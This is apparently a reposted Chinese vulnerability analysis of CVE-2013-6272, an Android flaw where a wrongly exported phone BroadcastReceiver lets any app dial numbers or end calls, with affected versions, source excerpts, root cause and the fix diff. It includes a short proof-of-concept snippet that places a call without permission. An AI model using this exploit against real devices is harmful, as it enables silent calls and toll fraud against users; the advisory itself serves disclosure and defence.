原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/
1. CVE-2013-6272漏洞背景
CVE-2013-6272是一个安卓平台电话拨打权限绕过漏洞。该漏洞实际上是柏林的安全研究机构curesec在2013年底发现并秘密报告给google的,而并不是是某国内团队发现的。
Curesec同一时候也是安卓锁屏绕过漏洞(CVE-2013-6271)的发现者。Curesec于2014年7月4日公开了一个拨打电话相关的漏洞[1],我们对这个漏洞进行了分析。
这个漏洞在android 4.1.1版本号中被引入。在4.4.3版本号中被修复,手机系统版本号仍停留在4.1.1~4.4.2的机型都收到了影响。
2. Android受影响版本号
依据已经公开的信息和我们对于AOSP changelog的分析,该漏洞影响分布情况例如以下:
Android版本号 | SDK 版本号 | 是否受影响 |
4.1.1 | 16 | 是 |
4.1.2 | 16 | 是 |
4.2.2 | 17 | 是 |
4.4.2 | 19 | 是 |
4.4.3或更高 | 19 | 否 |
3. 漏洞的危害
没有申明call_phone权限的应用无需交互能够拨打随意电话。随意应用能够挂断当前正在进行的通话。
而用户对此毫不知情。
4.漏洞原理
此漏洞主要是由于一个误导出的BroadCastReceiver:com.android.phone.PhoneGlobals$NotificationBroadcastReceiver
让我们看下NotificationBroadcastReceiver的源代码[3]
public static class NotificationBroadcastReceiver extends BroadcastReceiver { |
public void onReceive(Context context, Intent intent) { |
String action = intent.getAction(); |
Log.d(LOG_TAG, "Broadcast from Notification: " + action); |
if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) { |
PhoneUtils.hangup(PhoneGlobals.getInstance().mCM); |
} else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) { |
closeSystemDialogs(context); |
clearMissedCallNotification(context); |
Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData()); |
callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK |
| Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); |
context.startActivity(callIntent); |
} else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) { |
closeSystemDialogs(context); |
clearMissedCallNotification(context); |
Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData()); |
smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); |
context.startActivity(smsIntent); |
这个reveiver处理3种类型的intent,由于NotificationBroadcastReceiver是导出的而且没有做不论什么的权限限制,随意应用都能够发intent来调用这个BroadcastReceiver.
这3类intent的危害
利用此漏洞拨打电话的代码
public void onClick(View view) { |
Toast t = Toast.makeText(getBaseContext(), |
"Testing call without permissions now!" , |
Intent intent = new Intent(); |
intent.setComponent( new ComponentName( |
"com.android.phone.PhoneGlobals$NotificationBroadcastReceiver" )); |
intent.setAction( "com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION" ); |
intent.setData(Uri.parse( "tel:31337" )); |
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); |
getBaseContext().sendBroadcast(intent); |
5. 产生漏洞的主要原因
产生此漏洞的原因非常有趣,由于android开发者的疏忽,本来限制
BroadcastReceiver导出应该在其标签中加上属性android:exported=”false”,但开发者漏掉了”android:”。写成了exported=”false”,这种属性是不起作用的,而包括有intent filters的BroadcastReceiver默认是导出的,从而导致这个BroadcastReceiver被误导出。
6.漏洞修复
此漏洞的修复非常easy,其diff[3]例如以下:
- < receiver android:name = "PhoneGlobals$NotificationBroadcastReceiver" exported = "false" > |
+ < receiver android:name = "PhoneGlobals$NotificationBroadcastReceiver" android:exported = "false" > |
< action android:name = "com.android.phone.ACTION_HANG_UP_ONGOING_CALL" /> |
<action android:name="com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION" / |
眼下我们尚未捕获到利用此漏洞拨打电话的恶意样本。可是该漏洞的原理及利用代码已经开源。所以有可能在未来被恶意利用。我们将会持续关注此漏洞并提供可能的解决方式。
參考:
[1]https://android.googlesource.com/platform/packages/services/Telephony/+/79fc3b3%5E%21/
[2]http://blog.curesec.com/article/blog/35.html
[3]http://androidxref.com/4.4_r1/xref/packages/services/Telephony/src/com/android/phone/PhoneGlobals.java#1128